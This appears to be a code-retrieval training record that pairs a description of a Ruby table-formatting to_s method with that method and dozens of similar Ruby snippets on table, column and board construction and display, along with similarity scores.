"def initialize(table, options={}, col_types=nil)\n @table, @options = table.to_sym, options.freeze\n\n if !col_types\n col_types = {}\n Mao.sql(\n 'SELECT column_name, data_type FROM information_schema.columns ' \\\n 'WHERE table_name=$1',\n [@table.to_s]) do |pg_result|\n if pg_result.num_tuples.zero?\n raise ArgumentError, \"invalid or blank table #@table\"\n end\n\n pg_result.each do |tuple|\n col_types[tuple[\"column_name\"].to_sym] = tuple[\"data_type\"]\n end\n end\n end\n\n @col_types = col_types.freeze\n end",
"def set_grid_columns(columns)\n TSApi.tsapi_setDefinedColumnsOnDisplay(columns, 0)\n end",
"def initialize(cols, *args)\n @using = cols \n super(*args)\n end",
"def initialize(*attributes)\n KEYS.each_with_index{ |key, index| self[key] = attributes[index] }\n end",
"def initialize(table, ext=nil)\n @table=table\n @ext=Hash.new\n @ext=ext if ext.kind_of?(Hash)\n @columns=@table[:default]\n end",
"def initialize(table)\n @table = table\n end",
"def create_columns\n (column_count.to_i - columns.size).times { columns.create(position: columns.size) }\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def method_missing(table, *columns)\n table_settings[table] = columns\n end",
"def initialize(table)\n @table, @data = table, table.data\n \n initialize_values\n define_accessors\n end",
"def initialize(heading, *rows)\n @heading = heading\n @size = heading.size\n @body = []\n rows.each { |row| add_row(row) }\n end",
"def initialize(rows=0, columns=0)\n @data = Data.new(rows, columns)\n end",
"def create(structure_, data_={})\n Table.new(structure_, data_)\n end",
"def create_new_tables(new_table_names, tables)\n each_table(new_table_names, tables) do |table_name, table, last_table|\n create_table_statement table_name, table\n add_blank_line unless last_table\n end\n end",
"def table(rows, headings = [])\r\n\r\n new_table = Terminal::Table.new\r\n \r\n unless headings == []\r\n new_table.headings = headings\r\n end\r\n\r\n new_table.rows = rows\r\n\r\n new_table.style = { :width => 150,\r\n :border_x => '='.colorize(:light_blue), \r\n :border_y => '|'.colorize(:light_blue),\r\n :border_i => ':'.colorize(:light_blue)}\r\n for column_no in 0...new_table.columns.length\r\n new_table.align_column(column_no, :center)\r\n end\r\n \r\n puts empty_line\r\n puts new_table\r\n puts empty_line\r\n prompt('Press \"Enter\" key to continue')\r\n end",
"def initialize(table)\n @table = table\n end",
"def initialize(table_ref=nil)\n @table_ref = table_ref\n end",
"def columns=(columns)\n resize_field @rows, columns\n end",
"def initialize(fields)\n @fields = fields\n @field_index = 0 # index of field\n @records = [] # all records\n @index = 0 # index of record\n @fieldname_with_table = nil\n end",
"def initialize(table = Table.new([4, 4]))\n @table = table\n end",
"def initialize(table, column, type, allow_nil = false, allow_blank = false)\n @column = column\n @table = table\n @type = type\n @if_cond = nil\n @unless_cond = nil\n @allow_blank = allow_blank\n @allow_nil = allow_nil\n @is_new_column = false\n @custom_error_msg = false\n @has_cond = false\n end",
"def modify_columns(columns)\n columns\n end",
"def initialize(filas, columnas)\n #Variable que guarda el numero de filas de la matriz.\n @filas=filas\n #Variable que guarda el numero de columnas de la matriz. \n @columnas=columnas \n end",
"def initialize(methods)\n raise \"methods can't be empty\" if methods.empty?\n methods.each { |m, t|\n raise RuntimeError, \"Method names in StructuralType must be symbols\" unless m.instance_of? Symbol\n raise RuntimeError, \"Got #{t.class} where MethodType expected\" unless t.instance_of? MethodType\n # Note intersection types not allowed as subtyping would be tricky\n }\n @methods = methods\n super()\n end",
"def initialize(attributes = nil)\n @attributes = attributes_from_column_definition\n @new_record = true\n ensure_proper_type\n self.attributes = attributes unless attributes.nil?\n yield self if block_given?\n end",
"def initialize(values = {})\n @values = {}\n @new = true\n @modified = true\n initialize_set(values)\n changed_columns.clear \n yield self if block_given?\n end",
"def initialize(values = {})\n @values = {}\n @new = true\n @modified = true\n initialize_set(values)\n changed_columns.clear \n yield self if block_given?\n end",
"def initialize_table; end",
"def initialize(width, height)\n @table = Table.new(width, height)\n @view = RobotView.new\n @robot = Robot.new(@table)\n end",
"def initialize(keys)\n @header = []\n @keys = keys\n end",
"def create_table_sql_list(name, columns, indexes = nil)\n sql = [\"CREATE TABLE #{quote_identifier(name)} (#{column_list_sql(columns)})\"]\n sql.concat(index_list_sql_list(name, indexes)) if indexes && !indexes.empty?\n sql\n end",
"def initialize(clazz)\n @clazz = clazz\n @columns = {}\n @ignore = false\n end",
"def initialize(expression, aliaz, columns=nil)\n @expression = expression\n @alias = aliaz\n @columns = columns\n freeze\n end",
"def initialize(header:, items: [])\n @raw_header = header\n @header =\n if @raw_header.is_a?(Symbol)\n @raw_header\n else\n @raw_header.to_s.as_sym\n end\n @type = 'NilClass'\n msg = \"unknown column type '#{type}\"\n raise UserError, msg unless TYPES.include?(@type.to_s)\n\n @items = []\n items.each { |i| self << i }\n end",
"def initialize(table)\n @table = table\n freeze\n end",
"def columns=(value)\n @columns = value\n end",
"def initialize\n @generators = {\n Fixnum => FixnumGenerator.new,\n Float => FloatGenerator.new,\n Date => DateGenerator.new,\n Time => TimeGenerator.new,\n String => StringGenerator.new,\n Object => BooleanGenerator.new,\n }\n @column_generators = {}\n end",
"def create_table_sql_list(name, columns, indexes = nil)\n sql = [\"CREATE TABLE #{quote_schema_table(name)} (#{column_list_sql(columns)})\"]\n sql.concat(index_list_sql_list(name, indexes)) if indexes && !indexes.empty?\n sql\n end",
"def create_table(*args, &block)\n apply_translatable_option!(:create_table, block, *args) do |definition|\n super(*args, &definition)\n end\n end",
"def initialize\n @table = [] # Array contains Arrays of Strings\n @col = 0\n @row = 0\n @total_time = 0\n @total_records = 0\n # omitting separators for now\n end",
"def create\n\t\tsql = \"CREATE TABLE `#{@table}` (\"\n\t\t@columns.each do |column|\n\t\t\tsql += \"`#{column[:name]}` #{column[:type]}\"\n\t\t\tif(column[:not_null])\n\t\t\t\tsql += ' NOT NULL'\n\t\t\tend\n\n\t\t\tif(column[:primary_key])\n\t\t\t\tsql += ' PRIMARY KEY'\n\t\t\tend\n\n\t\t\tif(column[:auto_increment])\n\t\t\t\tsql += ' AUTOINCREMENT'\n\t\t\tend\n\n\t\t\tif(column[:unique])\n\t\t\t\tsql += ' UNIQUE'\n\t\t\tend\n\t\t\tsql += ','\n\t\tend\n\t\tsql.chop! # Remove trailing ','\n\t\tsql += ');'\n\t\tp sql\n\t\t@db.execute(sql)\n\tend",
"def initialize(filas, columnas)\n super(filas, columnas)\n @container = Hash.new(zero)\n end",
"def header(height, *columns)\n columns = columns.to_a.map{ |v| preprocess_table_data(v) }\n layout column: 1, row: 1, fill_width: true, height: height do\n table [\n # row 1\n columns\n ],\n width_ratio: 1.0,\n cell_style: {\n borders: [ :bottom ],\n border_width: 1.5,\n padding: [ 0, 0, 0, 0 ],\n font_style: :bold,\n size: 20\n }\n end\n end",
"def initialize\n @table = {}\n end",
"def initialize(file)\n\t\t#Initializes superclass -- creates database.\n\t\tsuper\n\t\t#Creates tables if they not exist\n\t\tTABLES.each do |table|\n\t\t\tsql = \"CREATE TABLE IF NOT EXISTS #{table.header} (\"\n\t\t\ttable.columns.each {|column| sql += \"#{column.header} \" +\n\t\t\t\t\"#{column.type_constraint}, \"}\n\t\t\tsql = table.constraint.nil? ?\n\t\t\t\t\"#{sql.slice(0, sql.length - 2)})\" :\n\t\t\t\t\"#{sql}#{table.constraint})\"\n\t\t\tself.transaction {|tdb| tdb.execute(sql)}\n\t\tend\n\tend",
"def store(columns=nil)\n end",
"def initialize(rows = [])\n @rows = rows || []\n end",
"def initialize(klass:, query:, select_columns:)\n @klass = klass\n @query = query\n @select_columns = process_select_columns(select_columns)\n end",
"def initialize(size=DEFAULT_TABLE_SIZE)\n @table = HashTable.new(size)\n end",
"def initialize(rows)\n @rows = rows\n end",
"def createField(rows,columns)\n\t\t@rows = rows\n\t\t@columns = columns\n\t\t@field = Array.new(rows) {Array.new(columns,Cell.new)}\n\t\tself\n\tend",
"def initialize(headers, body)\n @headers = headers\n @body = body\n end",
"def _update_columns(columns)\n _update(columns) unless columns.empty?\n end"
] |
[
"0.7275576",
"0.6731631",
"0.661504",
"0.6569464",
"0.64577806",
"0.6434311",
"0.6242508",
"0.6184003",
"0.6184003",
"0.6042692",
"0.60329884",
"0.5954066",
"0.5930878",
"0.5835333",
"0.5730677",
"0.571784",
"0.57127786",
"0.5707533",
"0.57045555",
"0.57003146",
"0.56698436",
"0.5633904",
"0.55960625",
"0.5583968",
"0.5582044",
"0.55806816",
"0.55664605",
"0.5549974",
"0.55305356",
"0.55192184",
"0.5507876",
"0.55039823",
"0.54882413",
"0.54570836",
"0.5448483",
"0.54376924",
"0.5437544",
"0.5428406",
"0.54151845",
"0.5403874",
"0.5389981",
"0.53829503",
"0.5330329",
"0.5310965",
"0.5299618",
"0.52932394",
"0.5290731",
"0.52844554",
"0.5278988",
"0.526252",
"0.5259021",
"0.5239485",
"0.5237769",
"0.52290076",
"0.52290076",
"0.52231175",
"0.52076757",
"0.5191021",
"0.5187688",
"0.51876014",
"0.5166762",
"0.516388",
"0.5163356",
"0.5156124",
"0.51480293",
"0.51312137",
"0.5130483",
"0.51298153",
"0.5126702",
"0.5124887",
"0.511998",
"0.51004374",
"0.50903165",
"0.50903165",
"0.50851154",
"0.50676966",
"0.5065247",
"0.50599426",
"0.5059742",
"0.50515175",
"0.50306225",
"0.50265914",
"0.5013822",
"0.49869844",
"0.49761182",
"0.49724194",
"0.49668965",
"0.49650416",
"0.49582452",
"0.49400818",
"0.4937123",
"0.49330643",
"0.49287477",
"0.49285588",
"0.49104765",
"0.49062496",
"0.49002972",
"0.4882605",
"0.48745558",
"0.48716462"
] |
0.74814755
|
0
|
Outputs a formatted version of the receiver. A sideeffect of this method is that the width of each column in +columns+ will be large enough to fit its largest row value.
|
def to_s
stringio = StringIO.new
# Set the column widths
if @data
@data.each do |row|
next if row.length != @columns.length
@columns.each_with_index do |column, i|
data_string = column.data_to_s.call(row[i])
column.width = data_string.length if data_string.length > column.width
end
end
else
@columns.each { |column| column.width = column.label.length }
end
# Print the column headers
stringio.puts(@columns.collect do |column|
padding = column.padding || " "
padding + column.label.center(column.width) + padding
end.join("|"))
total_width = stringio.string.length - 1
# Print the bar below the column header
stringio.puts(@columns.collect do |column|
padding = column.padding || " "
"-" * (column.width + 2 * padding.length)
end.join("+"))
# If we have rows, print each one, otherwise print "No rows"
if @data
@data.each do |row|
# Skip rows that have the wrong number of columns
next if row.length != @columns.length
# Generate the row of data. These machinations with the index variable are because collect_with_index doesn't exist
# and Ruby 1.8.x doesn't support each_with_index.collect.
i = 0
stringio.puts(row.collect do |data|
padded_aligned_data = @columns[i].padded_aligned_data(data)
i += 1
padded_aligned_data
end.join("|"))
end
else
stringio.puts("No rows".center(total_width))
end
stringio.string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_s\n str = \"\"\n count_row = 0\n count_col = 0\n str << \"-\"*25 << \"\\n\"\n rows.each do |row|\n row.each do |ele|\n str << ele.to_s << \" \"\n count_col += 1\n if count_col == 3\n str << \"| \"\n count_col = 0\n end\n end\n count_row += 1\n if count_row == 3\n str << \"\\n\" << \"-\"*25 << \"\\n\"\n count_row = 0\n else\n str << \"\\n\"\n end\n end\n str << \"-\"*25\n end",
"def to_s(mode = :pretty, len_col = 3)\n return super if empty?\n if mode == :pretty\n clen = cols_len\n to_a.collect {|r| mapcar(r, clen) {|x, l| format(\"%#{l}s \",x.to_s)} << \"\\n\"}.join(\"\")\n else\n i = 0; s = \"\"; cs = column_size\n each do |e|\n i = (i + 1) % cs\n s += format(\"%#{len_col}s \", e.to_s)\n s += \"\\n\" if i == 0\n end\n s\n end\n end",
"def columns_to_s # :nodoc:\n nameline = ' ' * indent\n barline = nameline.dup\n last_col = nil\n last_idx = nil\n columns.each_with_index { |col,idx|\n if (last_col)\n # This produces clean to_s output without truncation\n # Preserves full string in cells for to_csv output\n padding = pad(' ', last_col, last_idx)\n nameline << padding\n remainder = padding.length - cellpad\n remainder = 0 if remainder < 0\n barline << (' ' * (cellpad + remainder))\n end\n\n nameline << col\n barline << ('-' * col.length)\n\n last_col = col\n last_idx = idx\n }\n\n return \"#{nameline}\\n#{barline}\"\n end",
"def display_board\n col_separator = ' | '\n row_separator = '--+---+--'\n\n @rows.each_with_index do |row, row_number|\n row.each_with_index do |col, col_number|\n print col.to_s\n print col_separator unless col_number + 1 >= row.length\n end\n puts ''\n puts row_separator unless row_number + 1 >= @rows.length\n end\n end",
"def to_s\n \n # Determine the column width\n col_width = data.last.last.to_s.length\n \n # Determine the table width\n table_width = ( col_width + 1 ) * data.length + 1\n \n # Convert 2D Array to String\n data.map { |row| '|' + row.map { |val| val.to_s.ljust( col_width ) }.join('|') + '|' }.join(\"\\n#{ '-' * table_width }\\n\")\n \n end",
"def write_row(cols, widths)\n col_chunks = []\n num_lines = 0\n cols.each_with_index do |col, idx|\n the_chunk = chunk_col(col, widths[idx])\n col_chunks << the_chunk\n num_lines = [the_chunk.length, num_lines].max\n end\n lines = [\"\"] * num_lines\n num_cols = widths.length\n num_lines.times do |line_idx|\n #puts \"line index: #{line_idx}\"\n col_chunks.each_with_index do |chunks, col_idx|\n #puts \"column index: #{col_idx}\"\n cm = if col_idx == (num_cols - 1)\n 0\n else\n 1\n end\n if chunks.length > line_idx\n makeup_space = [widths[col_idx] - chunks[line_idx].length, 0].max\n lines[line_idx] += chunks[line_idx] + \" \" * makeup_space + \" \" * (@intercol_space * cm)\n else\n lines[line_idx] += \" \" * widths[col_idx] + \" \" * (@intercol_space * cm)\n end\n end\n end\n lines.join(\"\\n\")\n end",
"def output\n return if rows.empty? # we got here with nothing to print to the screen\n auto_adjust_widths if width == :auto\n\n puts separator('first') if border\n\n rows.each_with_index do |row, index|\n row.output\n puts separator('middle') if border && (index != rows.size - 1)\n end\n\n puts separator('last') if border\n end",
"def to_s(columns=nil)\n\n #default to an 80 column terminal, don't support < 80 for now\n if nil == columns\n columns = 80\n else\n raise ArgumentError if columns < 80\n end\n\n #Find the largest bucket and create an array of the rows we intend to print\n disp_buckets = Array.new\n max_count = 0\n total = 0\n @buckets.each_with_index do |count, idx|\n next if 0 == count\n max_count = [max_count, count].max\n disp_buckets << [idx, to_bucket(idx), count]\n total += count\n end\n\n #XXX: Better to print just header --> footer\n return \"Empty histogram\" if 0 == disp_buckets.length\n\n #Figure out how wide the value and count columns need to be based on their\n #largest respective numbers\n value_str = \"value\"\n count_str = \"count\"\n total_str = \"Total\"\n value_width = [disp_buckets.last[1].to_s.length, value_str.length].max\n value_width = [value_width, total_str.length].max\n count_width = [total.to_s.length, count_str.length].max\n max_bar_width = columns - (value_width + \" |\".length + \"| \".length + count_width)\n\n #Determine the value of a '@'\n weight = [max_count.to_f/max_bar_width.to_f, 1.0].max\n\n #format the header\n histogram = sprintf(\"%#{value_width}s |\", value_str)\n max_bar_width.times { histogram << \"-\"}\n histogram << sprintf(\"| %#{count_width}s\\n\", count_str)\n\n # We denote empty buckets with a '~'\n def skip_row(value_width)\n sprintf(\"%#{value_width}s ~\\n\", \" \")\n end\n\n #Loop through each bucket to be displayed and output the correct number\n prev_index = disp_buckets[0][0] - 1\n\n disp_buckets.each do |x|\n #Denote skipped empty buckets with a ~\n histogram << skip_row(value_width) unless prev_index == x[0] - 1\n prev_index = x[0]\n\n #Add the value\n row = sprintf(\"%#{value_width}d |\", x[1])\n\n #Add the bar\n bar_size = (x[2]/weight).to_i\n bar_size.times { row += \"@\"}\n (max_bar_width - bar_size).times { row += \" \" }\n\n #Add the count\n row << sprintf(\"| %#{count_width}d\\n\", x[2])\n\n #Append the finished row onto the histogram\n histogram << row\n end\n\n #End the table\n histogram << skip_row(value_width) if disp_buckets.last[0] != bucket_count-1\n histogram << sprintf(\"%#{value_width}s\", \"Total\")\n histogram << \" |\"\n max_bar_width.times {histogram << \"-\"}\n histogram << \"| \"\n histogram << sprintf(\"%#{count_width}d\\n\", total)\n end",
"def to_s\n \"#{self.class} <#{@rows} x #{@cols}>: #{@fm.each_slice(@cols).to_a}\"\n end",
"def to_s\n # The widest item in the table is used to set the width of all the\n # columns.\n item_width = widest_item\n row_label_width = row_labels.map { |label| label.to_s.jlength }.max\n # Enumerate rows prepending column labels.\n ([col_labels] + self).zip([\" \"] + row_labels).map do |row, row_label|\n # Enumerate row items prepending row labels.\n ([sprintf(\"%-#{row_label_width}s\", row_label)] + row.map do |item|\n # Center each item in a space as wide as the widest column.\n item_to_s(item).center(item_width)\n end).join(\" \").rstrip\n end.join(\"\\n\")\n end",
"def to_s\n # find the largest number of digits in the numbers we\n # are printing\n digits = max_digits @size**2\n\n # create the row divider. flexible based on size of numbers\n # and the square.\n divider = \"+\"+(\"-\"*(@size*(3+digits)-1))+\"+\\n\"\n\n # build each row by formatting the numbers to the max\n # digits needed and adding pipe dividers\n (0...@size).inject(divider) do |output,i|\n output + \"| \" +\n @square[i].map{|x| \"%#{digits}d\" % x}.join(\" | \") +\n \" |\\n\" + divider\n end\n end",
"def render\n print \"\\n\"\n @board.each do |row|\n row.each do |col|\n print \"#{col.nil? ? '.' : col} \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end",
"def print_matrix\n width = @rows.flatten.max.to_s.size\n if width > 4 then\n width = width - 0.5\n end\n puts @rows.map { |a|\n \"|#{ a.map { |i|\n outp = \"\"\n num, den = i.to_fraction\n if den == 1 then\n outp += \"#{num}\"\n else\n outp += \"#{num}/#{den}\"\n end\n \"#{outp.rjust(width)} |\"\n }.join }\"\n }\n puts \"↓\"\n end",
"def to_s\n return '' if cols < 1\n col_sizes = max_col_sizes\n str = heading_str(col_sizes)\n str << separator(col_sizes)\n str << body_str(col_sizes)\n str\n end",
"def inspect\n return if @arr.empty?\n w = @arr.compact.collect { |row| row.size }.max\n result = \"\\n \" \n w.times do |y|\n result += '%3d'%y\n end\n result += \"\\n\"\n @arr.each_index do |x|\n result += '%3d:'%x\n if @arr[x]\n @arr[x].each do |val|\n result += val.nil? ? ' ' : '%3d'%val\n end\n end\n result += \"\\n\"\n end\n result\n end",
"def format_print(print_values)\n widths = Array.new(print_values[0].size, 0)\n print_values.each do |print_value|\n widths = widths.zip(print_value).map! {|width, value| value.length > width ? value.length : width }\n end\n\n print_values.each do |print_value|\n widths.zip(print_value) do |width, value|\n printf(\"%-#{width + 5}s\", value)\n end\n puts \"\"\n end\n end",
"def to_s\n for i in 0..@max_row - 1\n for j in 0..@max_column - 1\n print \"| \" + @board[i][j] + \" \"\n end\n\n puts \"|\"\n end\n end",
"def render\n puts \" #{(0..7).to_a.join(' ')}\"\n (0..7).each do |row|\n puts \"#{row} #{print_row(@board.grid[row] , row).join('|')}\"\n puts\n end\n end",
"def render\n buffer = []\n _guess_col_widths\n rows = @list.size.to_s.length\n @rows = rows\n _prepare_format\n \n str = \"\"\n if @numbering\n str = \" \"*(rows+1)+@y\n end\n str << @fmstr % @columns\n buffer << str\n #puts \"-\" * str.length\n buffer << separator\n if @list\n if @numbering\n @fmstr = \"%#{rows}d \"+ @y + @fmstr\n end\n #@list.each { |e| puts e.join(@y) }\n count = 0\n @list.each_with_index { |r,i| \n value = convert_value_to_text r, count\n buffer << value\n count += 1\n }\n end\n buffer\n end",
"def column_print(things, color=:white)\n # return unless things.any?\n # sizes = things.map{|x|x.size}\n # col_width = sizes.max\n # cols = 80 / (col_width+3)\n # cols = 4 if cols > 4\n \n # if things.size % cols != 0\n # things += [''] * (cols - (things.size % cols))\n # end\n \n # things.map!{|thing| thing.ljust(col_width)}\n \n # things.each_slice(cols) do |slice|\n # puts slice.join(' | ').send(color)\n # end\n puts Term::Table.new(things).to_s.send(color)\n end",
"def display(values)\n width = 1+($squares.map{|s| values[s].size}).max\n line = \"+\".join([\"-\"*width*3]*3)\n for r in $rows\n for c in $cols\n val_string = values[\"#{r}#{c}\"].join\n print val_string + (\" \" *(width -val_string.size))\n print \"|\" if c ==3 or c ==6\n end\n\n puts \"\"\n puts line if r == \"C\" or r ==\"F\"\n end\nend",
"def render\n\t\t# First let's create an output buffer. This will be \n\t\t# where all of our output lines are stored.\n\t\toutput_buffer = \"\"\n\n\t\t# The outer part of the loop will loop the @height of the board.\n\t\t@height.downto(1) do |row|\n\n\t\t\t# The inner loop will loop through the number of columns there are\n\t\t\t# which will always be 3.\n\t\t\t0.upto(2) do |column|\n\t\t\t\t# I want to use another temporary buffer which will only \n\t\t\t\t# send to the output_buffer when it reaches the height \n\t\t\t\t# (which is also the max width) + 1.\n\t\t\t\ttemp_buffer = \"\"\n\n\t\t\t\t# We're only going to add o's if there are numbers in the column.\n\t\t\t\tif @board[column][-row]\n\t\t\t\t\t@board[column][-row].times {temp_buffer << \"o\"}\n\t\t\t\tend\n\n\t\t\t\t# Either way, add _'s until we're at the right length.\n\t\t\t\tuntil temp_buffer.length == @height+1\n\t\t\t\t\ttemp_buffer << \"_\"\n\t\t\t\tend\n\n\t\t\t\t# Add a space between the columns then push everything to the \n\t\t\t\t# main output buffer.\n\t\t\t\tif column == 2\n\t\t\t\t\toutput_buffer << temp_buffer\n\t\t\t\telse\n\t\t\t\t\toutput_buffer << temp_buffer + \" \"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Don't forget to add a new line after the last column\n\t\t\toutput_buffer << \"\\n\"\n\t\tend\n\n\t\t# Now let's add the footer to the output.\n\t\t1.upto(3) do |column|\n\t\t\ttemp_buffer = \"\"\n\t\t\ttemp_buffer << column.to_s\n\t\t\tuntil temp_buffer.length == @height+1\n\t\t\t\ttemp_buffer << \" \"\n\t\t\tend\n\t\t\tif column == 3\n\t\t\t\toutput_buffer << temp_buffer + \"\\n\\n\"\n\t\t\telse\n\t\t\t\toutput_buffer << temp_buffer + \" \"\n\t\t\tend\n\t\tend\n\n\t\t# Finally, print the output_buffer\n\t\tprint output_buffer\n\tend",
"def format\n display_string = \"\"\n (0..7).each do |row|\n display_string += \"#{row}\"\n (0..7).each do |col| \n if @board[row][col].instance_of? ChessPiece\n display_string += \"[#{@board[row][col].unicode} ]\"\n elsif @board[row][col].is_a? String\n display_string += @board[row][col]\n end\n end\n display_string += \"\\n\"\n end\n\n return display_string\n end",
"def table(*columns, &block)\n\n rows = Array.new\n yield(rows)\n\n # determine maximum cell widths\n max_cell_widths = rows.inject(Array.new(columns.length, 0)) do |result, row|\n lengths = row.map { |column| column.to_s.length }\n result.each_with_index { |length, index| result[index] = ([length, lengths[index]].max rescue length) }\n end\n columns.each_with_index { |col, index| col[:actual_width] ||= max_cell_widths[index] }\n\n # determine actual column width\n column_widths = columns.map do |column|\n if column[:width] == :rest\n nil\n elsif column[:width]\n column[:width]\n elsif column[:min_width]\n [column[:min_width], column[:actual_width]].max\n elsif column[:max_width]\n [column[:max_width], column[:actual_width]].min\n else\n column[:actual_width]\n end\n end\n\n if column_widths.include?(nil)\n fill_column = columns[column_widths.index(nil)]\n width_left = options[:width] - ((columns.length - 1) * (style[:cell_separator] ? 3 : 1)) - column_widths.compact.inject(0) { |sum, col| sum + col}\n column_widths[column_widths.index(nil)] = width_left\n end\n\n line(:green) if @style[:top_line]\n\n # Print table header\n if table_has_header?(columns)\n column_titles = []\n columns.each_with_index do |column, index|\n width = column_widths[index]\n alignment = (column[:align] == :right ? '' : '-')\n column_titles.push(colorize(\"%#{alignment}#{width}s\" % column[:title].to_s[0...width], :bold))\n end\n\n puts column_titles.join(style[:cell_separator] ? \" #{characters[:vertical_line]} \" : ' ')\n line(:green)\n end\n\n # Print the rows\n rows.each do |row|\n row_values = []\n columns.each_with_index do |column, index|\n width = column_widths[index]\n case column[:type]\n when :ratio\n if width > 4\n if column[:treshold] && column[:treshold] < row[index].to_f\n bar = ''\n bar << characters[:block] * (width.to_f * column[:treshold]).round\n bar << colorize(characters[:block] * (width.to_f * (row[index].to_f - column[:treshold])).round, :red)\n row_values.push(bar)\n else\n # Create a bar by combining block characters\n row_values.push(characters[:block] * (width.to_f * row[index].to_f).round)\n end\n else\n # Too few characters for a ratio bar. Display nothing\n row_values.push('')\n end\n else\n alignment = (columns[index][:align] == :right ? '' : '-')\n cell_value = \"%#{alignment}#{width}s\" % row[index].to_s[0...width]\n cell_value = colorize(cell_value, :bold, :brown) if columns[index][:highlight]\n row_values.push(cell_value)\n end\n end\n puts row_values.join(style[:cell_separator] ? \" #{characters[:vertical_line]} \" : ' ')\n end\n end",
"def display_columns(input)\n output = \"\"\n input.each_with_index do |element, index|\n # spaces to add inbetween = column.length - word.length\n output += \"#{element.capitalize + (\" \" * (15 - element.to_s.chars.count))}\"\n if index % 4 == 0 && index != 0\n output += \"\\n\"\n end\n end\n puts \"\"\n puts ColorizedString[output].bold\n end",
"def print\n displayBoard = []\n @board.each_with_index { |elem, index|\n if index % @columns == 0\n displayBoard.push(\"\\n\")\n end\n displayBoard.push(elem)\n }\n puts displayBoard.join\n end",
"def write(columns, format = nil)\n columns.size.times do |i|\n write_cell(@line_index, i, columns[i], format)\n end\n\n @line_index += 1\n end",
"def to_s_columns(columns)\n lines = string.lines.to_a\n count = lines.size\n cols = []\n mod = (count / columns.to_f).to_i + 1\n lines.each_with_index do |line, index|\n (cols[index % mod] ||=[]) << line.strip\n end\n max = lines.map{ |l| l.size }.max\n pad = \" \" * padding\n tmp = template(max, pad)\n str = \"\"\n cols.each_with_index do |row, c|\n row.each_with_index do |cell, r|\n str << (tmp % cell).ansi(*ansi_formating(cell, c, r))\n end\n str << \"\\n\"\n end\n str\n end",
"def row(*cols)\n justified_cols = cols.zip(@widths).map do |c, w|\n (c || '<nil>').to_s.ljust(w)[0...w]\n end\n \"| #{justified_cols.join(' | ')} |\"\n end",
"def print_table(columns, data, print_headings = true)\n\n # Fill base lengths\n columns.each do |col|\n col[:length] = (print_headings ? col[:title].length : 0)\n end\n\n # Compute maximum length of each field\n data.each do |datum|\n\n columns.each do |col|\n if (col[:func] != nil)\n str = col[:func].call(datum).to_s\n else\n str = datum[col[:key]].to_s\n end\n str = str.gsub(/\\e\\[[0-9;]*m/, '') # eliminate \"colors\"\n col[:length] = [ col[:length], str.length ].max\n end\n\n end\n\n # Create the format string\n table_format_row = '|'\n columns.each do |col|\n if (col[:type] == :int)\n table_format_row << sprintf(\" %%%dd |\", col[:length])\n else\n table_format_row << sprintf(\" %%-%ds |\", col[:length])\n end\n end\n table_format_row << \"\\n\"\n\n # Special line: title\n table_format_title = \"\\e[1m\\e[4m\" +\n table_format_row.gsub(/%-?([0-9]+)[a-z]/, '%-\\1s').gsub(/\\|/, ' ') + \"\\e[m\"\n\n # Create the horizontal line\n table_horizontal = '+'\n columns.each do |col|\n table_horizontal << '-' * (col[:length]+2) << '+'\n end\n\n # Print table\n if (print_headings)\n titles = []\n columns.each do |col|\n titles << col[:title]\n end\n #puts table_horizontal\n printf(table_format_title, *titles);\n else\n puts table_horizontal\n end\n\n data.each do |datum|\n cols_ary = []\n columns.each do |col|\n if (col[:func])\n cols_ary << col[:func].call(datum)\n else\n cols_ary << datum[col[:key]]\n end\n end\n printf(table_format_row, *cols_ary)\n #puts table_horizontal\n end\n puts table_horizontal\n\nend",
"def display_board_pretty\r\n\r\n # Display header letters\r\n @cols.each do |header|\r\n print ' ' + header + ' '\r\n end\r\n puts\r\n\r\n # Display board numbers\r\n for col_index in 0..4\r\n for row_index in 0..4\r\n\r\n board_num = @bingo_board[row_index][col_index]\r\n\r\n # Pretty print: print filler spaces if number has fewer digits\r\n if board_num.to_s.length == 1\r\n print ' '\r\n end\r\n if board_num.to_s.length == 2\r\n print ' '\r\n end\r\n\r\n print board_num.to_s + ' '\r\n\r\n end\r\n puts\r\n end\r\n\r\n end",
"def print\n @cell_board.each do |row|\n string_row_separator = '-'\n string_row = '|'\n row.each do |element|\n string_row += \" #{element.to_s} |\"\n string_row_separator += '----'\n end\n puts string_row\n puts string_row_separator\n end\n end",
"def to_s \n output = \"\"\n @height.times do |y|\n @width.times do |x|\n output << (@cells.include?([x,y]) ? '*' : '-')\n end\n output << \"\\n\"\n end\n output\n end",
"def puts_labels(columns)\n\tlabels = \" \"*4\n 1.upto(columns) do |i|\n \tlabels += i.to_s.rjust(5)\n end\n puts \"\\n#{labels}\"\nend",
"def displayframecolumnvalues\r\n\t\t\ttitle = \" 1 2 3 4 5 6 7\"\r\n\t\t\t@output.puts(\"#{title}\")\r\n\t\t\t@matrix.each do |row|\r\n\t\t\t\tnew_row='|'+row.join('|')+'|'\r\n\t\t\t\t@output.puts(new_row)\r\n\t\t\tend\r\n\t\tend",
